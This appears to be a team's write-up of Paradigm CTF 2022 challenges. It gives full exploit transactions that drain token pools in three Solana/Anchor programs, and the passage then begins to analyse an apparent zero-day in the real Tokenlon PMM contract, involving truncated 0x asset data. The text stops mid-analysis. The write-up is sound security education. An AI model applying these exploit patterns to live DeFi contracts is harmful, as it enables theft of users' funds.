Try   HackMD

Paradigm CTF 2022 Write-up

Written by The Duck (Theori)

Solhana

This is a series of challenges using Solana and Anchor.

In server/src/challenge.rs, we can see the setup and win conditions for each of the challenges. The author also provided a convenient template to use as a solver for each challenge.

Challenge 1

Setup

  • Create bitcoin mint
  • Call setup_for_player in challenge program
  • Create accounts for satoshi pubkey
  • Mint 10 bitcoin for satoshi and deposit it by caling deposit
  • Create accounts for player
  • Mint 10 bitcoin for player

Win condition

  • Challenge program bitcoin deposit account has a balance of 0

Vulnerability

The challenge is very simple and contains only two functions we care about: deposit and withdraw. deposit transfers tokens from the user to the program deposit account, and then mints voucher tokens to the user. withdraw does the exact opposite: burn voucher tokens and then transfer tokens back to the user.

One of the most common vulnerabilities in Solana programs is to fail to properly validate the accounts that are provided. We reviewed the Transact accounts structures and attributes which is used for both deposit and withdraw. We noticed that the only constraint on the voucher_mint account is that its mint_authority is state. This is insufficient because an attacker could make a new mint account, mint themselves tokens, and change the mint authority to another account.

pub struct Transact<'info> {
...
    #[account(mut, constraint = voucher_mint.mint_authority == COption::Some(state.key()))]
    pub voucher_mint: Account<'info, Mint>,
...
}

In summary, we can create a fake voucher mint, mint ourselves fake voucher tokens, and then use these fake voucher tokens to withdraw from the challenge program.

Exploit

// create a "bitoin" token account for the "attacker"
anchor.web3.SystemProgram.createAccount({
    fromPubkey: player.publicKey,
    lamports: minRentForAccount,
    newAccountPubkey: attackerKeyPair.publicKey,
    programId: spl.TOKEN_PROGRAM_ID,
    space: spl.ACCOUNT_SIZE,
}),
spl.createInitializeAccountInstruction(
    attackerKeyPair.publicKey,
    new anchor.web3.PublicKey(accounts.bitcoinMint),
    player.publicKey
),

// create a fake voucher mint account
anchor.web3.SystemProgram.createAccount({
    fromPubkey: player.publicKey,
    lamports: minRentForMint,
    newAccountPubkey: mintKeyPair.publicKey,
    programId: spl.TOKEN_PROGRAM_ID,
    space: spl.MINT_SIZE,
}),
spl.createInitializeMintInstruction(
    mintKeyPair.publicKey,
    6,
    player.publicKey,
    null
),

// create a fake voucher token account for the "attacker"
anchor.web3.SystemProgram.createAccount({
    fromPubkey: player.publicKey,
    lamports: minRentForAccount,
    newAccountPubkey: accountKeyPair.publicKey,
    programId: spl.TOKEN_PROGRAM_ID,
    space: spl.ACCOUNT_SIZE,
}),
spl.createInitializeAccountInstruction(
    accountKeyPair.publicKey,
    mintKeyPair.publicKey,
    player.publicKey
),

// mint 1000000 fake voucher tokens
spl.createMintToInstruction(
    mintKeyPair.publicKey,
    accountKeyPair.publicKey,
    player.publicKey,
    1000000
),

// change the fake voucher mint authority to `state`
spl.createSetAuthorityInstruction(
    mintKeyPair.publicKey,
    player.publicKey,
    spl.AuthorityType.MintTokens,
    new anchor.web3.PublicKey(accounts.state)
),

// withdraw using the fake voucher tokens
// This succeeds because `withdraw` checks only that the `voucherMint` mint
// authority is `state`.
program.instruction.withdraw(new BN(1000000), {
    accounts: {
        player: player.publicKey,
        depositor: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        depositAccount: new anchor.web3.PublicKey(accounts.depositAccount),
        voucherMint: mintKeyPair.publicKey,
        depositorAccount: attackerKeyPair.publicKey,
        depositorVoucherAccount: accountKeyPair.publicKey,
        tokenProgram: new anchor.web3.PublicKey(spl.TOKEN_PROGRAM_ID),
    }
}),

Challenge 2

Setup

  • Create three mint accounts for "wormhole eth" (8 decimals), "sollet eth" (6 decimals), and "lido eth" (8 decimals)
  • Create pool accounts, pool token accounts, and pool voucher mint accounts
  • Mint 100,000,000 tokens of each "eth" type to the pool token accounts
  • Create token accounts for the player and mint the player 1,000 tokens of each "eth" type

Win condition

  • The sum of the token accounts must be less than 150,000,000 tokens
  • Note that this math is a little weird since the decimals for these mints are different.

Vulnerability

Similar to challenge 1, the challenge program has deposit and withdraw instructions. It also has an add_pool instruction that we are instructed to ignore, as well as a swap instruction. The basic behavior of the program is that users can deposit tokens, get voucher tokens in exchange, and withdraw by trading in their voucher tokens. Additionally, through the swap instruction, users can trade one type of deposit token for another type of deposit token, one-to-one, taking into account decimal differences.

We begin by reviewing the accounts structures, DepositWithdraw and Swap, looking for incorrect conditions. We can quickly see that deposit_mint in DepositWithdraw has no constraints, which is suspicious. Each pool account should be tied to a single deposit mint account, but currently, an attacker could specify a deposit_mint account that has no relationship with pool or pool_account.

pub struct DepositWithdraw<'info> {
...
    pub deposit_mint: Account<'info, Mint>,

    #[account(constraint = state.pools.contains(&pool.key()))]
    pub pool: Account<'info, Pool>,
    #[account(mut, address = pool.pool_account)]
    pub pool_account: Box<Account<'info, TokenAccount>>,

    #[account(mut, seeds = [player.key().as_ref(), VOUCHER, deposit_mint.key().as_ref()], bump)]
    pub voucher_mint: Box<Account<'info, Mint>>,
    #[account(mut, constraint =  depositor_account.mint == pool.deposit_mint)]
    pub depositor_account: Box<Account<'info, TokenAccount>>,
    #[account(mut, constraint = depositor_voucher_account.mint == voucher_mint.key())]
    pub depositor_voucher_account: Box<Account<'info, TokenAccount>>,
...
}

In summary, we can specify a pool and pool_account for one type of "eth" but specify a deposit_mint, voucher_mint, etc., for a different type of "eth". This would let us, for example, withdraw 1,000 "sollet eth" tokens from 1,000 "wormhole eth" voucher tokens, and then trade the 1,000 "sollet eth" tokens for 100,000 "wormhol eth" tokens using swap, which we can deposit for more vouchers. We can repeat this over and over until we have drained enough funds from the accounts.

Exploit

// swap 1,000 sollet for 100,000 wormhole
program.instruction.swap(new BN(1000), {
    accounts: {
        player: player.publicKey,
        swapper: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        fromPool: new anchor.web3.PublicKey(accounts.soEthPool),
        toPool: new anchor.web3.PublicKey(accounts.woEthPool),
        fromPoolAccount: new anchor.web3.PublicKey(accounts.soEthPoolAccount),
        toPoolAccount: new anchor.web3.PublicKey(accounts.woEthPoolAccount),
        fromSwapperAccount: playerSo,
        toSwapperAccount: playerWo,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),

// deposit 100,000 wormhole for 100,000 wormhole vouchers
program.instruction.deposit(new BN(100000), {
    accounts: {
        player: player.publicKey,
        depositor: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        depositMint: new anchor.web3.PublicKey(accounts.woEthMint),
        pool: new anchor.web3.PublicKey(accounts.woEthPool),
        poolAccount: new anchor.web3.PublicKey(accounts.woEthPoolAccount),
        voucherMint: new anchor.web3.PublicKey(accounts.woEthVoucherMint),
        depositorAccount: playerWo,
        depositorVoucherAccount: playerVoucherWo,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),

// withdraw 100,000 sollet by burning 100,000 wormhole vouchers
program.instruction.withdraw(new BN(100000), {
    accounts: {
        player: player.publicKey,
        depositor: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        depositMint: new anchor.web3.PublicKey(accounts.woEthMint),
        pool: new anchor.web3.PublicKey(accounts.soEthPool),
        poolAccount: new anchor.web3.PublicKey(accounts.soEthPoolAccount),
        voucherMint: new anchor.web3.PublicKey(accounts.woEthVoucherMint),
        depositorAccount: playerSo,
        depositorVoucherAccount: playerVoucherWo,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),

// Swap again, and repeat...
// We have 100_000 SOLLET ETH
// We go for 10_000_000 SOLLET ETH
program.instruction.swap(new BN(100000), {
    accounts: {
        player: player.publicKey,
        swapper: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        fromPool: new anchor.web3.PublicKey(accounts.soEthPool),
        toPool: new anchor.web3.PublicKey(accounts.woEthPool),
        fromPoolAccount: new anchor.web3.PublicKey(accounts.soEthPoolAccount),
        toPoolAccount: new anchor.web3.PublicKey(accounts.woEthPoolAccount),
        fromSwapperAccount: playerSo,
        toSwapperAccount: playerWo,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),
program.instruction.deposit(new BN(10000000), {
    accounts: {
        player: player.publicKey,
        depositor: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        depositMint: new anchor.web3.PublicKey(accounts.woEthMint),
        pool: new anchor.web3.PublicKey(accounts.woEthPool),
        poolAccount: new anchor.web3.PublicKey(accounts.woEthPoolAccount),
        voucherMint: new anchor.web3.PublicKey(accounts.woEthVoucherMint),
        depositorAccount: playerWo,
        depositorVoucherAccount: playerVoucherWo,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),
program.instruction.withdraw(new BN(10000000), {
    accounts: {
        player: player.publicKey,
        depositor: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        depositMint: new anchor.web3.PublicKey(accounts.woEthMint),
        pool: new anchor.web3.PublicKey(accounts.soEthPool),
        poolAccount: new anchor.web3.PublicKey(accounts.soEthPoolAccount),
        voucherMint: new anchor.web3.PublicKey(accounts.woEthVoucherMint),
        depositorAccount: playerSo,
        depositorVoucherAccount: playerVoucherWo,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),

// We have 10_000_000 SOLLET ETH
// We go for 90_000_000 SOLLET ETH
program.instruction.swap(new BN(900000), {
    accounts: {
        player: player.publicKey,
        swapper: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        fromPool: new anchor.web3.PublicKey(accounts.soEthPool),
        toPool: new anchor.web3.PublicKey(accounts.woEthPool),
        fromPoolAccount: new anchor.web3.PublicKey(accounts.soEthPoolAccount),
        toPoolAccount: new anchor.web3.PublicKey(accounts.woEthPoolAccount),
        fromSwapperAccount: playerSo,
        toSwapperAccount: playerWo,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),
program.instruction.deposit(new BN(90000000), {
    accounts: {
        player: player.publicKey,
        depositor: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        depositMint: new anchor.web3.PublicKey(accounts.woEthMint),
        pool: new anchor.web3.PublicKey(accounts.woEthPool),
        poolAccount: new anchor.web3.PublicKey(accounts.woEthPoolAccount),
        voucherMint: new anchor.web3.PublicKey(accounts.woEthVoucherMint),
        depositorAccount: playerWo,
        depositorVoucherAccount: playerVoucherWo,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),
program.instruction.withdraw(new BN(90000000), {
    accounts: {
        player: player.publicKey,
        depositor: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        depositMint: new anchor.web3.PublicKey(accounts.woEthMint),
        pool: new anchor.web3.PublicKey(accounts.soEthPool),
        poolAccount: new anchor.web3.PublicKey(accounts.soEthPoolAccount),
        voucherMint: new anchor.web3.PublicKey(accounts.woEthVoucherMint),
        depositorAccount: playerSo,
        depositorVoucherAccount: playerVoucherWo,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),

// We can use our sollet to swap for 100,000,000 wormhole and 100,000,000 lido, and win.
program.instruction.swap(new BN(1000000), {
    accounts: {
        player: player.publicKey,
        swapper: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        fromPool: new anchor.web3.PublicKey(accounts.soEthPool),
        toPool: new anchor.web3.PublicKey(accounts.woEthPool),
        fromPoolAccount: new anchor.web3.PublicKey(accounts.soEthPoolAccount),
        toPoolAccount: new anchor.web3.PublicKey(accounts.woEthPoolAccount),
        fromSwapperAccount: playerSo,
        toSwapperAccount: playerWo,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),
program.instruction.swap(new BN(1000000), {
    accounts: {
        player: player.publicKey,
        swapper: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        fromPool: new anchor.web3.PublicKey(accounts.soEthPool),
        toPool: new anchor.web3.PublicKey(accounts.stEthPool),
        fromPoolAccount: new anchor.web3.PublicKey(accounts.soEthPoolAccount),
        toPoolAccount: new anchor.web3.PublicKey(accounts.stEthPoolAccount),
        fromSwapperAccount: playerSo,
        toSwapperAccount: playerSt,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),

Challenge 3

Setup

  • Create mint account for atomcoin
  • Create pool, pool account, voucher mint, etc.
  • Mint 100 atomcoin into the pool account

Win condition

  • Reduce the balance of atomcoin for the pool count to 2 or less

Vulnerability

We are told in the setup code that we only need to use the borrow and repay instructions to complete this challenge. As such, we are not given any atomcoin.

The borrow instruction acts as a flashloan. It requires that the borrowed amount is repaid in the same transaction by looking forward through the list of instructions until it finds a repay instruction. If the repay instruction has the wrong program ID or pool key, it is ignored. If the wrong amount is passed to repay, then it returns an error.

loop {
    if let Ok(ixn) = solana::sysvar::instructions::load_instruction_at_checked(i, &ixns) {

        // Is this a repay instruction for our program with the same pool?
        if ixn.program_id == *ctx.program_id
        && u64::from_be_bytes(ixn.data[..8].try_into().unwrap()) == REPAY_OPCODE
        && ixn.accounts[3].pubkey == ctx.accounts.pool.key() {

            // Does the repay amount match the borrow amount?
            if u64::from_le_bytes(ixn.data[8..16].try_into().unwrap()) == amount {
                break;
            } else {
                return Err(ProgramError::InvalidArgument);
            }

        } else {
            i += 1;
        }
    }
    else {
        return Err(ProgramError::InvalidInstructionData);
    }
}

Now, what happens if there are two deposits before a repay? If both of the deposit instructions were to search forward through the list of instructions, they would both find the same repay instruction. This would mean that the user could borrow twice and only need to repay once. The author prevents this scenario by having a borrowing flag that is set to true by the borrow instruction and then reset to false by the repay instruction. If a borrow instructions sees that this flag is set, it will return an error.

pub fn borrow(ctx: Context<Borrow>, amount: u64) -> ProgramResult {
    if ctx.accounts.pool.borrowing {
        return Err(ProgramError::InvalidAccountData);
    }
...
}

pub fn repay(ctx: Context<Repay>, amount: u64) -> ProgramResult {
...
    ctx.accounts.pool.borrowing = false;
    Ok(())
}

To reset the borrowing flag between two calls to borrow, we could call repay with an amount of zero, but the first borrow instruction would throw an error when it sees the repay instruction in the list of instructions. We must hide the repay zero instruction from the borrow instruction by using our program that will invoke the repay instruction internally.

Exploit

The first step is to write our program that will invoke the repay instruction with an amount of zero. The code is very simple and we use essentially the same accounts structure as the challenge program:

#[program]
pub mod wrapper {
    use super::*;

    pub fn repay(ctx: Context<RepayWrapper>) -> ProgramResult {
        let cpi_program = ctx.accounts.challenge3_program.to_account_info();
        let cpi_accounts = Repay {
            player: ctx.accounts.player.to_account_info(),
            user: ctx.accounts.user.to_account_info(),
            state: ctx.accounts.state.to_account_info(),
            pool: ctx.accounts.pool.to_account_info(),
            pool_account: ctx.accounts.pool_account.to_account_info(),
            depositor_account: ctx.accounts.depositor_account.to_account_info(),
            token_program: ctx.accounts.token_program.to_account_info(),
        };
        let cpi_ctx = CpiContext::new(cpi_program, cpi_accounts);
        challenge3::cpi::repay(cpi_ctx, 0);
        Ok(())
    }
}

#[derive(Accounts)]
pub struct RepayWrapper<'info> {
    /// CHECK: shut up
    pub player: AccountInfo<'info>,
    pub user: Signer<'info>,
    pub state: Account<'info, State>,
    pub pool: Account<'info, Pool>,
    pub pool_account: Account<'info, TokenAccount>,
    pub depositor_account: Account<'info, TokenAccount>,
    pub token_program: Program<'info, Token>,
    pub challenge3_program: Program<'info, Challenge3>,
}

Now we can construct our transaction with instructions that will borrow, repay 0 through our program, borrow again, and then repay once. This lets us steal half of the tokens from the pool deposit token account. We can repeat until the pool deposit token account only has one token remaining.

// Borrow 50
program.instruction.borrow(new BN(50), {
    accounts: {
        player: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),
// Repay 0
wrapperProgram.instruction.repay({
    accounts: {
        player: player.publicKey,
        user: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
        challenge3Program: new anchor.web3.PublicKey(accounts.programId),
    }
}),
// Borrow 50
program.instruction.borrow(new BN(50), {
    accounts: {
        player: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),
// Repay 50
program.instruction.repay(new BN(50), {
    accounts: {
        player: player.publicKey,
        user: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),

// Repay 14
// Make the number of tokens in the pool deposit token account a power of 2 (i.e., 64)
program.instruction.repay(new BN(14), {
    accounts: {
        player: player.publicKey,
        user: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),

// We repeat the exploit for each power of two: 32, 16, 8, 4, 2, 1
// Borrow 32
program.instruction.borrow(new BN(32), {
    accounts: {
        player: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),
// Repay 0
wrapperProgram.instruction.repay({
    accounts: {
        player: player.publicKey,
        user: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
        challenge3Program: new anchor.web3.PublicKey(accounts.programId),
    }
}),
// Borrow 32
program.instruction.borrow(new BN(32), {
    accounts: {
        player: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),
// Repay 32
program.instruction.repay(new BN(32), {
    accounts: {
        player: player.publicKey,
        user: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),

// ...
// repeated instructions
// ...

// Borrow 1
program.instruction.borrow(new BN(1), {
    accounts: {
        player: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),
// Repay 0
wrapperProgram.instruction.repay({
    accounts: {
        player: player.publicKey,
        user: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
        challenge3Program: new anchor.web3.PublicKey(accounts.programId),
    }
}),
// Borrow 1
program.instruction.borrow(new BN(1), {
    accounts: {
        player: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        instructions: anchor.web3.SYSVAR_INSTRUCTIONS_PUBKEY,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),
// Repay 1
program.instruction.repay(new BN(1), {
    accounts: {
        player: player.publicKey,
        user: player.publicKey,
        state: new anchor.web3.PublicKey(accounts.state),
        pool: new anchor.web3.PublicKey(accounts.pool),
        poolAccount: new anchor.web3.PublicKey(accounts.poolAccount),
        depositorAccount: playerAtom,
        tokenProgram: spl.TOKEN_PROGRAM_ID,
    }
}),

Stealing Sats

Description

Stacking sats is much more enjoyable when they're not your sats.

Setup

The setup file is very simple. When the challenge instance is created, the setup records the WBTC balance of a target address. The challenge is considered solved if TARGET's WBTC balance decreases by at least 128.

contract Setup {
    ERC20Like public immutable WBTC = ERC20Like(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
    address public immutable TARGET = 0x8D90113A1e286a5aB3e496fbD1853F265e5913c6;

    uint public immutable INITIAL_BALANCE;

    constructor() {
        INITIAL_BALANCE = WBTC.balanceOf(TARGET);
    }

    function isSolved() external view returns (bool) {
        return INITIAL_BALANCE - WBTC.balanceOf(TARGET) >= 128;
    }
}

The Target

At first glance, one may expect TARGET to be a contract deployed by the challenge author. The source isn't provided in the challenge handout, so maybe we'll have to fetch the bytecode and decompile it? We decided to check if the target address exists on mainnet, and sure enough, it's a real exchange settlement contract from Tokenlon.

At this point it became clear that we have to exploit a 0day.

PMM

So what is the Tokenlon PMM contract? Thankfully, the verified source is available on etherscan. In essence, PMM is just a thin wrapper around 0x Protocol V2 which extracts a small fee on every trade. For those unfamiliar, 0x is a protocol for order settlement where orders are created and signed off-chain. The PMM contract has only one interesting public function:













































    function fill(
        uint256 userSalt,
        bytes memory data,
        bytes memory userSignature
    )
        override
        public
        payable
        onlyUserProxy
        nonReentrant
        returns (uint256)
    {
        // decode & assert
        (LibOrder.Order memory order,
        TradeInfo memory tradeInfo) = _assertTransaction(userSalt, data, userSignature);

        // Deposit to WETH if taker asset is ETH, else transfer from user
        IWETH weth = IWETH(permStorage.wethAddr());
        if (address(weth) == tradeInfo.takerAssetAddr) {
            require(
                msg.value == order.takerAssetAmount,
                "PMM: insufficient ETH"
            );
            weth.deposit{value: msg.value}();
        } else {
            spender.spendFromUser(tradeInfo.user, tradeInfo.takerAssetAddr, order.takerAssetAmount);
        }

        IERC20(tradeInfo.takerAssetAddr).safeIncreaseAllowance(zxERC20Proxy, order.takerAssetAmount);

        // send tx to 0x
        zeroExchange.executeTransaction(
            userSalt,
            address(this),
            data,
            ""
        );

        // settle token/ETH to user
        uint256 settleAmount = _settle(weth, tradeInfo.receiver, tradeInfo.makerAssetAddr, order.makerAssetAmount, tradeInfo.feeFactor);
        IERC20(tradeInfo.takerAssetAddr).safeApprove(zxERC20Proxy, 0);
        ...
        return settleAmount;
    }

At a high level, when PMM.fillOrder is called with a 0x order, it will extract information about the underlying trade and validate that it satisfies some constraints. It then uses the extracted information to perform the trade on behalf of the user. Calls to PMM.fillOrder must always come from the PMM UserProxy, so the userSignature parameter is used to ensure that end users actually initiated the trade request.

The data parameter is an abi-encoded call to the 0x Exchange contract. PMM.fillOrder calls _assertTransaction(userSalt, data, userSignature) to validate and extract order information from this encoded call:






































































    function _assertTransaction(
        uint256 userSalt,
        bytes memory data,
        bytes memory userSignature
    )
        internal
        view
        returns(
            LibOrder.Order memory order,
            TradeInfo memory tradeInfo
        )
    {
        // decode fillOrder data
        uint256 takerFillAmount;
        bytes memory mmSignature;
        (order, takerFillAmount, mmSignature) = decodeFillOrder(data);

        require(
            order.takerAddress == address(this),
            "PMM: incorrect taker"
        );
        require(
            order.takerAssetAmount == takerFillAmount,
            "PMM: incorrect fill amount"
        );
        
        tradeInfo.feeFactor = uint16(order.salt);

        ... // signature checking logic omitted for writeup

        // decode asset
        // just support ERC20
        tradeInfo.makerAssetAddr = decodeERC20Asset(order.makerAssetData);
        tradeInfo.takerAssetAddr = decodeERC20Asset(order.takerAssetData);
        return (
            order,
            tradeInfo
        );        
    }

    function decodeFillOrder(bytes memory data) internal pure returns(LibOrder.Order memory order, uint256 takerFillAmount, bytes memory mmSignature) {
        require(
            data.length > 800,
            "LibDecoder: LENGTH_LESS_800"
        );

        // compare method_id
        // 0x64a3bc15 is fillOrKillOrder's method id.
        require(
            data.readBytes4(0) == 0x64a3bc15,
            "LibDecoder: WRONG_METHOD_ID"
        );
        
        bytes memory dataSlice;
        assembly {
            dataSlice := add(data, 4)
        }
        return abi.decode(dataSlice, (LibOrder.Order, uint256, bytes));

    }

    function decodeERC20Asset(bytes memory assetData) internal pure returns(address) {
        require(
            assetData.length == 36,
            "LibDecoder: LENGTH_36_REQUIRED"
        );

        return assetData.readAddress(16);
    }

We see data must be an ecoded call to fillOrKillOrder. The order must only be fillable by the PMM contract (order.takerAddress == address(this)) and the 0x call must fill the entire order (order.takerAssetAmount == takerFillAmount). Normally, 0x supports partially filling limit orders, but PMM effectively disables this. Then, after validating the user has signed this trade request, PMM extracts the underlying assets being swapped in the 0x order using decodeERC20Asset.

Back up in PMM.fillOrder, PMM will accept the takerAsset funds from the requesting user, execute the 0x swap (swapping takerAsset for makerAsset), and finally call _settle, which simply extracts a fee and sends the remaining makerAsset funds to the user. Note that the tradeInfo.feeFactor is set to order.salt, so the fee extracted by PMM is determined by the 0x order signer.

Finding The Bug

We first noticed that as long as the call to 0x succeeds, PMM will assume it was transfered the entire makerAmount of makerAsset, and will therefore transfer makerAmount back to the user (asuming no fee). So can we construct a 0x order which passes the PMM validation, but actually transfers less than makerAmount to PMM? Doing so will require looking into 0x internals.

Our first thought was to abuse partial order filling to bypass the order.takerAssetAmount == takerFillAmount check. Internally, 0x tracks how much of each order has been filled, so when filling an order, it actually uses min256(takerFillAmount, remainingTakerAmount) to determine the fill amount. Unfortunately, PMM is calling fillOrKillOrder (rather than fillOrder), which has an additional check that the actual fill amount was as requested, so we quickly abandoned this idea.

Another quirk of 0x order settlement is rounding errors. To determine the amount of makerAsset to transfer, 0x computes the floor of takerFillAmount * makerAssetAmount / takerAssetAmount, but will revert if the rounding error is greater than 0.1%. Since our goal is only to steal a small amount of WBTC, it was conceivable that a tiny rounding error could achieve this. However, without using partial fills, it seemed impossible to have any rounding error at all.

Eventually, another feature of 0x order caught our attention: orders can swap between a variety of asset classes - not just ERC20s. This is possible because makerAsset and takerAsset are not simply ERC20 token addresses, but rather byte encodings of asset proxy descriptors. The first 4 bytes are the Proxy Selector. Similar to a solidity function selector, this selector determines which code 0x will call when transfering the asset. The remaining bytes in the asset data depend on which proxy is used:

/// @dev Function signature for encoding ERC-20 assetData.
/// @param tokenAddress Address of ERC20Token contract.
function ERC20Token(address tokenAddress) external;

/// @dev Function signature for encoding ERC-721 assetData.
/// @param tokenAddress Address of ERC-721 token contract.
/// @param tokenId Id of ERC-721 token to be transferred.
function ERC721Token(address tokenAddress, uint256 tokenId) external;

/// @dev Function signature for encoding ERC-1155 assetData.
/// @param tokenAddress Address of ERC-1155 token contract.
/// @param tokenIds Array of ids of tokens to be transferred.
/// @param values Array of values that correspond to each token id to be transferred.
///        Note that each value will be multiplied by the amount being filled in the order before transferring.
/// @param callbackData Extra data to be passed to receiver's `onERC1155Received` callback function.
function ERC1155Assets(
    address tokenAddress,
    uint256[] calldata tokenIds,
    uint256[] calldata values,
    bytes calldata callbackData
) external;

// NOTE: other proxies are omitted

Note that although the asset encodings mimic solidity function calls, the proxies are actually each their own contract implementing the following interface:

contract IAssetProxy is
    IAuthorizable
{
    /// @dev Transfers assets. Either succeeds or throws.
    /// @param assetData Byte array encoded for the respective asset proxy.
    /// @param from Address to transfer asset from.
    /// @param to Address to transfer asset to.
    /// @param amount Amount of asset to transfer.
    function transferFrom(
        bytes assetData,
        address from,
        address to,
        uint256 amount                                                                                                             )
        external;

    /// @dev Gets the proxy id associated with the proxy address.
    /// @return Proxy id.
    function getProxyId()
        external
        pure
        returns (bytes4);
}

Recall how PMM extracted the makerAsset address:

    function decodeERC20Asset(bytes memory assetData) internal pure returns(address) {
        require(
            assetData.length == 36,
            "LibDecoder: LENGTH_36_REQUIRED"
        );

        return assetData.readAddress(16);
    }

It is expecting the assetData to be ERC20Token(address). It correctly checks that the length is 36 bytes, but it doesn't check the selector. Tis may seem safe, because none of the other asset encodings are 36 bytes long, but consider what happens if you truncate a different type of assetData to 36 bytes. Specifically, let's look at the ERC721 proxy, where the expected encoding is abi.encodeWithSelector(ERC721_PROXY_SELECTOR, erc721TokenAddress, tokenId). If we omit the tokenId, this is 36 bytes long, and has the erc721TokenAddress at the same offset that the erc20TokenAddress would be. What happens if the ERC721 proxy is called with truncated assetData?

        assembly {
            // The first 4 bytes of calldata holds the function selector
            let selector := and(calldataload(0), 0xffffffff00000000000000000000000000000000000000000000000000000000)

            // `transferFrom` will be called with the following parameters:
            // assetData Encoded byte array.
            // from Address to transfer asset from.
            // to Address to transfer asset to.
            // amount Amount of asset to transfer.
            // bytes4(keccak256("transferFrom(bytes,address,address,uint256)")) = 0xa85e59e4
            if eq(selector, 0xa85e59e400000000000000000000000000000000000000000000000000000000) {

                ... // authorization check omitted for writeup
                

                // There exists only 1 of each token.
                // require(amount == 1, "INVALID_AMOUNT")
                if sub(calldataload(100), 1) {
                    // Revert with `Error("INVALID_AMOUNT")`
                    mstore(0, 0x08c379a000000000000000000000000000000000000000000000000000000000)
                    mstore(32, 0x0000002000000000000000000000000000000000000000000000000000000000)
                    mstore(64, 0x0000000e494e56414c49445f414d4f554e540000000000000000000000000000)
                    mstore(96, 0)
                    revert(0, 100)
                }

                /////// Setup Header Area ///////
                // This area holds the 4-byte `transferFrom` selector.
                // Any trailing data in transferFromSelector will be
                // overwritten in the next `mstore` call.
